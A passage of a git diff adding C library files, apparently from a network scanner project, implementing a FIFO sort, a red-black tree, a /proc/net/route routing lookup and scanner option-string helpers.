* JL: fixed delete/push assertion statements, and replaced with panic as well. + * crashing on icc cause of ambiguous ordering with optimizations + * + * This function performs a single radix ordering operation on the fifo based on the + * function pointer compare and the direction (ascending|descending) specified by the + * caller, the return value is the integer length of the list. + */ +uint32_t fifo_order(void *fifo, int (*compare)(const void *, const void *), int direction) { + union { + void *ptr; + qfifo_t *fifo; + } f_u; + qnode_t *cur=NULL; + void *data=NULL; + uint32_t i=0, j=0; + + assert(fifo != NULL); + f_u.ptr=fifo; + + assert(f_u.fifo->magic == QFIFOMAGIC); + + if (f_u.fifo->len == 0 || f_u.fifo->len == 1) { + return f_u.fifo->len; /* It is necessarily ordered. */ + } + + for (i=f_u.fifo->len; i > 0; i--) { + cur=f_u.fifo->bottom; + data=cur->bucket; + for (j=1; j < i; j++) { + cur=cur->next; + if (compare(data, (const void *)cur->bucket) == direction) { + data=cur->bucket; + } + } + j=f_u.fifo->len; + if (fifo_delete_first(f_u.ptr, data, compare, 0) != (j - 1)) { + PANIC("qfifo delete first found a size inconsistancy"); + } + if (fifo_push(f_u.ptr, data) != j) { + PANIC("qfifo push found a size inconsistancy after delete"); + } + } + + return f_u.fifo->len; +} diff --git a/src/unilib/qfifo.h b/src/unilib/qfifo.h new file mode 100644 index 0000000..39b017c --- /dev/null +++ b/src/unilib/qfifo.h @@ -0,0 +1,36 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef QFIFO_H + #define QFIFO_H + +/* exported functions */ + +/* fifo */ void *fifo_init(void); +/* fifo */ void *lifo_init(void); +uint32_t fifo_push(void * /* fifo */ , void * /* data */); +void *fifo_pop(void * /* fifo */); +void fifo_destroy(void * /* fifo */); + +uint32_t fifo_delete_first(void * /* fifo */, const void * /* data */, int (* /* compare */ )(const void *,const void *), int /* free data */); +uint32_t fifo_order(void * /* fifo */, int (* /* compare */ )(const void *, const void *), int /* direction */); +void *fifo_find(void * /* fifo */, const void * /* data */, int (* /* compare */ )(const void *, const void *)); +void fifo_walk(void * /* fifo */, void (*)(void *)); +uint32_t fifo_length(void * /* fifo */); + +#endif diff --git a/src/unilib/rbtree.c b/src/unilib/rbtree.c new file mode 100644 index 0000000..fd13446 --- /dev/null +++ b/src/unilib/rbtree.c @@ -0,0 +1,776 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#ifdef DEBUG +# define __DBG(fmt, args...) \ + fprintf(stderr, "DEBUG[%s at %s:%d]: ", __FUNCTION__, __FILE__, __LINE__);\ + fprintf(stderr, fmt, ## args); \ + fprintf(stderr, "\n"); +#define DEBUG 1 +#else +# define __DBG(fmt, args...) +#define DEBUG 0 +#endif + +#define rhead rb_head_t +#define rnode rb_node_t + +#define RBMAGIC (uint32_t)0xfee1dead +#define MALLOC(x) xmalloc(x) +#define FREE(x) xfree(x) + +typedef enum { red_e, black_e } rbcolor_t; + +typedef struct rnode { + struct rnode *lchld; + struct rnode *rchld; + struct rnode *parent; + rbcolor_t color; + void *data; + uint64_t key; +} rnode; + +typedef struct rhead { + uint32_t magic; + uint32_t len; + rnode *root; +} rhead; + +static int _rb_find(rhead *, uint64_t /* key */, rnode ** /* result */); + +static int _rb_insert(rhead *, uint64_t /* key */, rnode ** /* pointer to inserted node */); +static void _rb_fix_insert(rhead *, rnode *); +static void _rb_rotate_left(rhead *, rnode *); +static void _rb_rotate_right(rhead *, rnode *); + +static void _rb_murder(rhead *, rnode **); /* this uses ** to set the pointer to null afterwards */ +static int _rb_snuffout(rhead *, rnode *); +static rnode *_rb_find_successor(rnode *n); + +static int _rb_preo_walk(rnode *, int (*)(uint64_t, void *, void *), void *); +static int _rb_ino_walk(rnode *, int (*)(uint64_t, void *, void *), void *); +static int _rb_posto_walk(rnode *, int (*)(uint64_t, void *, void *), void *); + +/* exported */ +void *rbinit(uint32_t exp_size /* non op */) { + union { + void *ptr; + rhead *lh; + } h_u; + + assert(exp_size > 0); /* for icc */ + + h_u.ptr=MALLOC(sizeof(rhead)); + h_u.lh->magic=RBMAGIC; + h_u.lh->root=NULL; + h_u.lh->len=0; + __DBG("setup head in rbinit"); + + return h_u.ptr; +} + +void rbdestroy(void *lh) { + union { + void *ptr; + rhead *lh; + } h_u; + + assert(lh != NULL); + h_u.ptr=lh; + assert(h_u.lh->magic == RBMAGIC); + + if (h_u.lh->root != NULL) { + _rb_murder(h_u.lh, &h_u.lh->root); + } + + FREE(h_u.ptr); + h_u.ptr=NULL; + + return; +} + +int rbinsert(void *lh, uint64_t key, void *data) { + union { + void *ptr; + rhead *lh; + } h_u; + rnode *added=NULL; + int ret=0; + + assert(lh != NULL); + h_u.ptr=lh; + assert(h_u.lh->magic == RBMAGIC); + + __DBG("rbinsert(lh, %llu, data)", key); + if ((ret=_rb_insert(h_u.lh, key, &added)) < 0) { + switch (ret) { + case -1: + __DBG("cant insert key %llu into list, duplicate key", key); + return -1; + default: + __DBG("cant insert key %llu into list, unknown error `%d'", key, ret); + return -1; + } + } + + assert(added != NULL); + assert(added->data == NULL); + added->data=data; + + if (DEBUG) { + union { + void *ptr; + char *str; + } d_u; + d_u.ptr=added->data; + __DBG("set node key %llu data to `%s'", key, d_u.str); + } + + return 1; +} + +uint32_t rbsize(void *lh) { + union { + void *ptr; + rhead *lh; + } h_u; + + assert(lh != NULL); + h_u.ptr=lh; + assert(h_u.lh->magic == RBMAGIC); + + return h_u.lh->len; +} + +int rbdelete(void *lh, uint64_t key) { + union { + void *ptr; + rhead *lh; + } h_u; + rnode *search=NULL; + + assert(lh != NULL); + h_u.ptr=lh; + assert(h_u.lh->magic == RBMAGIC); + + __DBG("in rbdelete(lh, %llu)", key); + + if (_rb_find(h_u.lh, key, &search) < 0) { + return -1; + } + + if (_rb_snuffout(h_u.lh, search) < 0) { + return -1; + } + + return 1; +} + +int rbfind(void *lh, uint64_t key, void **udata) { + union { + void *ptr; + rhead *lh; + } h_u; + rnode *search=NULL; + + assert(udata != NULL); + assert(lh != NULL); + h_u.ptr=lh; + assert(h_u.lh->magic == RBMAGIC); + + __DBG("rbfind(lh, %llu, data)", key); + if (_rb_find(h_u.lh, key, &search) < 0) { + *udata=NULL; + return -1; + } + + *udata=search->data; + return 1; +} + +uint32_t rbgetsize(void *lh) { + union { + void *ptr; + rhead *lh; + } h_u; + + assert(lh != NULL); + h_u.ptr=lh; + assert(h_u.lh->magic == RBMAGIC); + + return h_u.lh->len; +} + +int rbwalk(void *lh, int (*wf)(uint64_t /*node key*/, void * /*data ptr*/, void * /* cbdata */), int wt, void *cbdata) { + union { + void *ptr; + rhead *lh; + } h_u; + + assert(lh != NULL); + h_u.ptr=lh; + assert(h_u.lh->magic == RBMAGIC); + assert(wf != NULL); + + switch (wt) { + case RBORD_PREO: + return _rb_preo_walk(h_u.lh->root, wf, cbdata); + + case RBORD_INO: + return _rb_ino_walk(h_u.lh->root, wf, cbdata); + + case RBORD_POSTO: + return _rb_posto_walk(h_u.lh->root, wf, cbdata); + + default: + return _rb_ino_walk(h_u.lh->root, wf, cbdata); + } + + return -1; /* not possible */ +} + +int _rb_find(rhead *h, uint64_t key, rnode **node) { + rnode *walk=NULL; + + assert(h != NULL); + assert(h->magic == RBMAGIC); + assert(node != NULL); + + __DBG("in _rb_find(lh, %llu, node)", key); + + if (h->root == NULL) { + *node=NULL; + __DBG("_rb_find() returning -1"); + return -1; + } + + for (walk=h->root; walk != NULL; ) { + if (key == walk->key) { + *node=walk; + return 1; + } + + if (key > walk->key) { + __DBG("_rfind Steping to right"); + walk=walk->rchld; + } + else { + __DBG("_rfind Steping to left"); + walk=walk->lchld; + } + } + + *node=NULL; + return -1; +} + +static int _rb_insert(rhead *h, uint64_t key, rnode **result) { + rnode *walk=NULL, *parent=NULL, *add=NULL; + + assert(h != NULL); + assert(h->magic == RBMAGIC); + assert(result != NULL); + + __DBG("in _rb_insert(h, %llu, result)", key); + + if (h->root == NULL) { + h->root=(rnode *)MALLOC(sizeof(rnode)); + h->root->parent=NULL; + h->root->data=NULL; + h->root->rchld=NULL; + h->root->lchld=NULL; + h->root->color=black_e; + h->root->key=key; + h->len=1; + __DBG("Adding root node at %p with key %llu [%llu]", h->root, key, h->root->key); + *result=h->root; + return 1; + } + + walk=h->root; + parent=NULL; + + while (walk != NULL) { + if (key == walk->key) { + return -1; + } + else if (key > walk->key) { + __DBG("Steping to right"); + parent=walk; + walk=walk->rchld; + } + else { + __DBG("Steping to left"); + parent=walk; + walk=walk->lchld; + } + } + + assert(parent != NULL); + + /* we are at the insertion point */ + add=(rnode *)MALLOC(sizeof(rnode)); + add->data=NULL; + add->rchld=NULL; + add->lchld=NULL; + add->color=red_e; + add->key=key; + + /* reconnect this parent to child */ + if (parent->key > add->key) { + __DBG("Adding new node key %llu at %p to LEFT of parent key %llu at %p", add->key, add, parent->key, parent); + parent->lchld=add; + } + else { + __DBG("Adding new node key %llu at %p to RIGHT of parent key %llu at %p", add->key, add, parent->key, parent); + parent->rchld=add; + } + add->parent=parent; + __DBG("parent %p\n", (void *)parent); + + h->len++; + + /* root node is always black, we are red, things are good */ + if (add->parent == h->root) { + assert(h->root->color == black_e); + *result=add; + __DBG("new node is already red and root node is already black, nothing to color"); + return 1; + } + + _rb_fix_insert(h, add); + + *result=add; + return 1; +} + + +static void _rb_fix_insert(rhead *h, rnode *node) { + rnode *parent=NULL, *grandparent=NULL; + + assert(h != NULL); assert(node != NULL); + assert(h->magic == RBMAGIC); + + __DBG("_rb_fix_insert(head, node)"); + /* ok so we have to play balance now + * + * here are the rules: + * 1) every node red or black + * 2) every leaf node is black + * 3) the children of a red node are always black + * 4) every direct path from a node to a descendant leaf node contains the same number of black nodes. + * + * #3 implies that on any path from the root to a leaf, red nodes must not be adjacent. + * However, any number of black nodes may appear in a sequence. + */ + + /* this indicates an error somewhere else */ + assert(node->color == red_e); + +/* + 1. If the parent of the new node is black, tree properties are maintained. Stop. + 2. If the color of the parent is red, we break rule 3. Consider some subcases: + 1. If the color of the parent's sibling is red (ie the uncle is red): + We can safely change the color of that level of the tree to black, and change + the color of the parent of the parent of the inserted node to red. This + preserves rule 4, so it is OK, but we must then CONTINUE up the tree, to + see if THAT node's parent is red. + 2. If the color of the uncle is black: + Now we can't simply change our parent's node to black, because that would + break rule 4.. What we can do is the following: + 1. If we are closer to the uncle than our sibling: + Rotate on our parent away from uncle, and set our pointer to our old + parent (so we are now far from our uncle), and drop down to the following + case. + 2. If we are father from the uncle than our sibling: + Now we can rotate towards the uncle at the uncle's parent (our grandparent). + We can then safely change the old grandparent's color to red and our parent's + color to black to preserve rule 4. STOP. + Lastly, always recolor root black +*/ + + /* this is what our families would be like if we were plants or something */ + parent=node->parent; + assert(parent != NULL); + + /* + * while we are not the root, and the color of our parent is red , we have work todo + */ + while (1) { + assert(node != NULL); + if (node == h->root) { + __DBG("Breaking cause node is root node"); + break; + } + if (node->parent->color == black_e) { + __DBG("breaking cause node parent color is black"); + break; + } + /* + * we have broken rule number 3 + */ + parent=node->parent; /* we can spin multiple times, so reset this */ + grandparent=parent->parent; + + assert(grandparent != NULL); + + if (grandparent == h->root) { + __DBG("our grandparent is the root node"); + } + + __DBG("COLORS: us %s [%llu] parent %s [%llu] grandparent %s [%llu] ", (node->color == black_e ? "black" : "red"), + node->key, + (parent->color == black_e ? "black" : "red"), + parent->key, + (grandparent->color == black_e ? "black" : "red"), + grandparent->key + ); + + /* if our parent is the left child of our grandparent */ + if (parent == grandparent->lchld) { + rnode *bob=NULL; + + __DBG("our parent is the left child of the grandparent"); + /* bob is our uncle, but we never call him... */ + bob=grandparent->rchld; + + if (bob && bob->color == red_e) { + __DBG("setting parent to black far uncle to black and grandparent to red and becoming grandparent"); + parent->color=black_e; + bob->color=black_e; + grandparent->color=red_e; + /* whew, now we need to continue up the tree with the grandparent */ + node=grandparent; + } + else { + if (node == parent->rchld) { + node=parent; /* turn into parent */ + /* rotate left */ + __DBG("rotating self"); + _rb_rotate_left(h, node); + } + /* make sure we didnt just move up */ + parent=node->parent; + grandparent=parent->parent; + + __DBG("setting parent to black and grandparent to red and rotating grandparent"); + parent->color=black_e; + grandparent->color=red_e; + /* rotate our granparent right */ + _rb_rotate_right(h, grandparent); + } + } + else { + rnode *bob=NULL; + + __DBG("our parent is the right child of the grandparent"); + /* bob is our uncle, but we never call him... */ + bob=grandparent->lchld; + + if (bob && bob->color == red_e) { + __DBG("setting parent to black far uncle to black and grandparent to red and becoming grandparent"); + parent->color=black_e; + bob->color=black_e; + grandparent->color=red_e; + /* whew, now we need to continue up the tree with the grandparent */ + node=grandparent; + } + else { + if (node == parent->lchld) { + __DBG("becoming parent"); + node=parent; /* turn into parent */ + /* rotate left */ + __DBG("rotating self"); + _rb_rotate_right(h, node); + } + /* make sure we didnt just move up */ + parent=node->parent; + grandparent=parent->parent; + + __DBG("setting parent to black and grandparent to red, and rotating grandparent"); + parent->color=black_e; + grandparent->color=red_e; + /* rotate our granparent left */ + _rb_rotate_left(h, grandparent); + } + } + + __DBG("going once more"); + } + + if (h->root->color == red_e) { + __DBG("recoloring root node to black"); + h->root->color=black_e; + } + h->root->parent=NULL; + + return; +} + +static int _rb_preo_walk(rnode *n, int (*wf)(uint64_t, void *, void *), void *cbdata) { + int ret=0; + + if (n != NULL) { + ret=wf(n->key, n->data, cbdata); + if (ret < 1) { + return ret; + } + ret=_rb_preo_walk(n->lchld, wf, cbdata); + ret=_rb_preo_walk(n->rchld, wf, cbdata); + } + return 1; +} + +static int _rb_ino_walk(rnode *n, int (*wf)(uint64_t, void *, void *), void *cbdata) { + int ret=0; + + if (n != NULL) { + ret=_rb_ino_walk(n->lchld, wf, cbdata); + ret=wf(n->key, n->data, cbdata); + if (ret < 1) { + return ret; + } + ret=_rb_ino_walk(n->rchld, wf, cbdata); + } + return 1; +} + +static int _rb_posto_walk(rnode *n, int (*wf)(uint64_t, void *, void *), void *cbdata) { + int ret=0; + + if (n != NULL) { + ret=_rb_posto_walk(n->lchld, wf, cbdata); + ret=_rb_posto_walk(n->rchld, wf, cbdata); + ret=wf(n->key, n->data, cbdata); + if (ret < 1) { + return ret; + } + } + return 1; +} + +static void _rb_murder(rhead *h, rnode **n) { + assert(h != NULL); + assert(h->magic == RBMAGIC); + assert(n != NULL); + + if ((*n)->rchld != NULL) { + _rb_murder(h, &(*n)->rchld); + } + if ((*n)->lchld != NULL) { + _rb_murder(h, &(*n)->lchld); + } + + FREE((*n)); + + /* this is to prevent mistakes ;] */ + *n=NULL; + + return; +} + +static int _rb_snuffout(rhead *h, rnode *n) { + rnode *del=NULL, *t=NULL; + int ret=0; + + assert(h != NULL); assert(n != NULL); + assert(h->magic == RBMAGIC); + + if ((ret=_rb_find(h, n->key, &del)) < 0) { + __DBG("Can't find key %llu, status %d", n->key, ret); + return -1; + } + + if (n->rchld == NULL || n->lchld == NULL) { + del=n; + } + else { + del=_rb_find_successor(n); + } + + if (del->lchld != NULL) { + t=del->lchld; + } + else { + t=del->rchld; + } + + t->parent=del->parent; + + if (del->color == black_e) { + assert(0); + } + + FREE(del->data); + FREE(del); + + return 1; +} + +static void _rb_rotate_left(rhead *h, rnode *n) { + rnode *flipper=NULL; + + __DBG("### rotating left ###"); + assert(n != NULL); assert(h != NULL); + assert(h->magic == RBMAGIC); + assert(n->rchld != NULL); + + flipper=n->rchld; + n->rchld=flipper->lchld; + if (flipper->lchld != NULL) { + flipper->lchld->parent=n; + } + flipper->parent=n->parent; + if (n->parent == NULL) { + h->root=flipper; + } + else { + if (n == n->parent->lchld) { + n->parent->lchld=flipper; + } + else { + n->parent->rchld=flipper; + } + } + flipper->lchld=n; + n->parent=flipper; + + return; +} + +static void _rb_rotate_right(rhead *h, rnode *n) { + rnode *flipper=NULL; + + assert(n != NULL); assert(h != NULL); + assert(h->magic == RBMAGIC); + assert(n->lchld != NULL); + + __DBG("### rotating right ###"); + flipper=n->lchld; + n->lchld=flipper->rchld; + if (flipper->rchld != NULL) { + flipper->rchld->parent=n; + } + flipper->parent=n->parent; + if (n->parent == NULL) { + h->root=flipper; + } + else { + if (n == n->parent->rchld) { + n->parent->rchld=flipper; + } + else { + n->parent->lchld=flipper; + } + } + flipper->rchld=n; + n->parent=flipper; + + return; +} + +static rnode *_rb_find_successor(rnode *n) { + rnode *walk=NULL; + + assert(n != NULL); + + __DBG("in _rb_find_successor(node->key = %llu)", n->key); + + if (n->rchld == NULL) { + rnode *tmp=NULL; + + walk=n->parent; + tmp=n; + while (walk != NULL) { + if (tmp != walk->rchld) break; + tmp=walk; + walk=walk->parent; + } + } + else { + walk=n->rchld; + while (walk->lchld != NULL) { + walk=walk->lchld; + } + } + + return walk; +} + +/* XXX */ + +#ifdef DEBUG +void rbverify(void *lh) { + union { + void *ptr; + rhead *lh; + } l_u; + + assert(lh != NULL); + l_u.ptr=lh; + assert(l_u.lh->magic == RBMAGIC); + + if (l_u.lh->root == NULL) { + return; + } + + if (l_u.lh->root->parent != NULL) { + fprintf(stderr, "root parent not NULL"); + } + + printf("total members %u\n", l_u.lh->len); + + return; +} + +void rbdumptree(void *lh, rnode *n) { + union { + void *ptr; + rhead *lh; + } h_u; + + if (lh == NULL) { + return; + } + h_u.ptr=lh; + assert(h_u.lh->magic == RBMAGIC); + + if (n == NULL) { + if (h_u.lh->root == NULL) { + return; + } + n=h_u.lh->root; + } + + printf("Node key %llx is %s\n", (long long unsigned)n->key, (n->color == black_e ? "Black" : "Red")); + + if (n->rchld != NULL) { + rbdumptree(lh, n->rchld); + } + if (n->lchld != NULL) { + rbdumptree(lh, n->lchld); + } + + return; +} +#endif diff --git a/src/unilib/rbtree.h b/src/unilib/rbtree.h new file mode 100644 index 0000000..d183b50 --- /dev/null +++ b/src/unilib/rbtree.h @@ -0,0 +1,44 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _RBTREE_H +# define _RBTREE_H + +void *rbinit (uint32_t /* expected size (nop here)*/); + +int rbinsert (void * /* rh */, uint64_t /* key */, void * /* data */ ); +int rbdelete (void * /* rh */, uint64_t /* key */ ); +int rbfind (void * /* rh */, uint64_t /* key */, void ** /* data_ptr */); +uint32_t rbgetsize(void * /* rh */); +void rbdestroy(void * /* rh */); +uint32_t rbstats (void * /* rh */); +/* + * 0=pre 1=in 2=post ?=in + */ +int rbwalk (void * /* rh */, + int (* /* walk func */)(uint64_t /* key */, void * /* data ptr */, void * /* cbdata */), + int /* wt 0-2*/, + void * /* cbdata */ + ); +#define RBORD_PREO 0 +#define RBORD_INO 1 +#define RBORD_POSTO 2 + +uint32_t rbsize (void * /* rh */); + +#endif /* _RBTREE_H */ diff --git a/src/unilib/route.c b/src/unilib/route.c new file mode 100644 index 0000000..e576578 --- /dev/null +++ b/src/unilib/route.c @@ -0,0 +1,205 @@ +/********************************************************************** + * Copyright (C) 2005-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include +#include +#include + +#include +#include +#include + +#include + +static void get_netroutes(void); +static int masktocidr(uint32_t ); + +static int need_netroutes=1; +static patricia_tree_t *rt=NULL; +static patricia_node_t *node=NULL; + +typedef union route_info_t { + struct info_s { + char *intf; + uint16_t metric; + uint16_t flags; + struct sockaddr_storage gw; + } *info_s; + void *p; +} route_info_t; + +int getroutes(char **intf, struct sockaddr *tgt, struct sockaddr *tgtmask, struct sockaddr **gw) { + static char lookup[128]; + route_info_t ri_u; + union sock_u ts_u, gws_u; + static struct sockaddr_storage gw_s; + char *rstr=NULL; + unsigned int rmask=0; + + assert(intf != NULL && tgt != NULL && tgtmask != NULL && gw != NULL); + + ts_u.s=tgt; + *gw=NULL; + + rstr=cidr_saddrstr(tgt); + if (rstr == NULL) { + return -1; + } + + rmask=cidr_getmask(tgtmask); + + snprintf(lookup, sizeof(lookup) -1, "%s/%u", rstr, rmask); + + DBG(M_RTE, "looking up route for `%s'", lookup); + + if (need_netroutes) { + get_netroutes(); + } + + node=try_search_best(rt, lookup); + if (node == NULL) { + ERR("no route to host for `%s'", lookup); + *intf=NULL; + *gw=NULL; + return -EHOSTUNREACH; + } + ri_u.p=node->data; + assert(node->data != NULL); + + DBG(M_RTE, "found interface `%s' for network `%s'", ri_u.info_s->intf, lookup); + + *intf=ri_u.info_s->intf; + if (ri_u.info_s->gw.ss_family != 0) { + memcpy(&gw_s, &ri_u.info_s->gw, sizeof(struct sockaddr_storage)); + gws_u.ss=&gw_s; + *gw=gws_u.s; + } + else { + *gw=NULL; + } + + return 1; +} + +static int masktocidr(uint32_t mask) { + int j=0, cidr=0; + + /* endian */ + for (j=0; j < 32; j++) { + if ((mask & 0x80000000) == 0x80000000) { + cidr++; + } + mask <<= 1; + } + + return cidr; +} + +#ifdef HAVE_PROC_NET_ROUTE + +static void get_netroutes(void) { + FILE *pnr=NULL; + char lbuf[1024], intf[32]; + uint32_t dest, gw, refcnt, use, mask, irtt; + uint16_t metric, flags, window, mtu; + char destnet[128], gwstr[128], addstr[128]; + int lineno=0; + + pnr=fopen("/proc/net/route", "r"); + if (pnr == NULL) { + ERR("cant open /proc/net/route: `%s'", strerror(errno)); + exit(1); + } + + rt=New_Patricia(128); + + /* + * Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT + * eth1 0045A8C0 00000000 0001 0 0 0 00FFFFFF 0 0 0 + */ + + for (lineno=0; fgets(lbuf, sizeof(lbuf) -1, pnr) != NULL; lineno++) { + if (lineno == 0) { + continue; + } +#if 0 +#define RTF_UP 0x0001 /* route usable */ +#define RTF_GATEWAY 0x0002 /* destination is a gateway */ +#define RTF_HOST 0x0004 /* host entry (net otherwise) */ +#define RTF_REINSTATE 0x0008 /* reinstate route after tmout */ +#define RTF_DYNAMIC 0x0010 /* created dyn. (by redirect) */ +#define RTF_MODIFIED 0x0020 /* modified dyn. (by redirect) */ +#define RTF_MTU 0x0040 /* specific MTU for this route */ +#define RTF_MSS RTF_MTU /* Compatibility :-( */ +#define RTF_WINDOW 0x0080 /* per route window clamping */ +#define RTF_IRTT 0x0100 /* Initial round trip time */ +#define RTF_REJECT 0x0200 /* Reject route */ +#endif + /* in de gw fl ref us me ma mt wi ir */ + if (sscanf(lbuf, "%31s %x %x %hx %u %u %hu %x %hu %hu %u", intf, &dest, &gw, &flags, &refcnt, &use, &metric, &mask, &mtu, &window, &irtt) == 11) { + int mycidr=0; + struct in_addr ia; + + ia.s_addr=dest; + strcpy(destnet, inet_ntoa(ia)); + mycidr=masktocidr(mask); + ia.s_addr=gw; + strcpy(gwstr, inet_ntoa(ia)); + + if (flags & RTF_UP && mycidr > -1) { + union sock_u s_u; + route_info_t ri_u; + + ri_u.p=xmalloc(sizeof(*ri_u.info_s)); + memset(ri_u.p, 0, sizeof(*ri_u.info_s)); + + ri_u.info_s->intf=xstrdup(intf); + ri_u.info_s->metric=metric; /* could only be 0xff anyhow */ + ri_u.info_s->flags=flags; + if ((flags & RTF_GATEWAY) == RTF_GATEWAY) { + s_u.ss=&ri_u.info_s->gw; + s_u.sin->sin_addr.s_addr=gw; + s_u.sin->sin_family=AF_INET; + } + + sprintf(addstr, "%s/%d", destnet, mycidr); + DBG(M_RTE, "net %s via %s metric %u", addstr, (flags & RTF_GATEWAY) == 0 ? intf : gwstr, metric); + node=make_and_lookup(rt, addstr); + if (node == NULL) { + exit(1); + } + node->data=ri_u.p; + + } + } + else { + ERR("can not parse `%s'", lbuf); + } + } + + fclose(pnr); + need_netroutes=0; + + return; +} + +#else /* then use dnet , no proc net routes */ + +#include + +#endif diff --git a/src/unilib/route.h b/src/unilib/route.h new file mode 100644 index 0000000..2e0d45d --- /dev/null +++ b/src/unilib/route.h @@ -0,0 +1,24 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _ROUTE_H +# define _ROUTE_H + +int getroutes(char ** /* intf */, const struct sockaddr * /* tgt */, const struct sockaddr * /* tgtmask */, struct sockaddr ** /* gw */); + +#endif diff --git a/src/unilib/settings.c b/src/unilib/settings.c new file mode 100644 index 0000000..85a4845 --- /dev/null +++ b/src/unilib/settings.c @@ -0,0 +1,77 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +char *stroptions(uint16_t options) { + static char optstr[512]; + + snprintf(optstr, sizeof(optstr) -1, + "process errors %s, immediate %s, listen drone %s, send drone %s, output drone %s, " + "do connect %s, report quiet %s, ignore root %s, do dns %s, do translate %s, " + "process duplicates %s", + GET_PROCERRORS() ? "yes" : "no", + GET_IMMEDIATE() ? "yes" : "no", + GET_LISTENDRONE() ? "yes" : "no", + GET_SENDDRONE() ? "yes" : "no", + GET_OUTPUTDRONE() ? "yes" : "no", + GET_DOCONNECT() ? "yes" : "no", + GET_REPORTQUIET() ? "yes" : "no", + GET_IGNROOT() ? "yes" : "no", + GET_DODNS() ? "yes" : "no", + GET_DOTRANS() ? "yes" : "no", + GET_PROCDUPS() ? "yes" : "no" + ); + + return optstr; +} + +char *strsendopts(uint16_t options) { + static char optstr[512]; + + snprintf(optstr, sizeof(optstr) -1, + "shuffle ports %s, source override %s, def payload %s, broken trans crc %s, " + "broken network crc %s, sender interuptable %s", + GET_SHUFFLE() ? "yes" : "no", + GET_OVERRIDE() ? "yes" : "no", + GET_DEFAULT() ? "yes" : "no", + GET_BROKENTRANS() ? "yes" : "no", + GET_BROKENNET() ? "yes" : "no", + GET_SENDERINTR() ? "yes" : "no" + ); + + return optstr; +} + +char *strrecvopts(uint16_t options) { + static char optstr[512]; + + snprintf(optstr, sizeof(optstr) -1, + "watch errors %s, promisc mode %s, do connect %s, ignore rseq %s, ignore seq %s, sniff %s", + GET_WATCHERRORS() ? "yes" : "no", + GET_PROMISC() ? "yes" : "no", + GET_LDOCONNECT() ? "yes" : "no", + GET_IGNORERSEQ() ? "yes" : "no", + GET_IGNORESEQ() ? "yes" : "no", + GET_SNIFF() ? "yes" : "no" + ); + + return optstr; +} diff --git a/src/unilib/sleep.c b/src/unilib/sleep.c new file mode 100644 index 0000000..3a4e637 --- /dev/null +++ b/src/unilib/sleep.c @@ -0,0 +1,77 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the 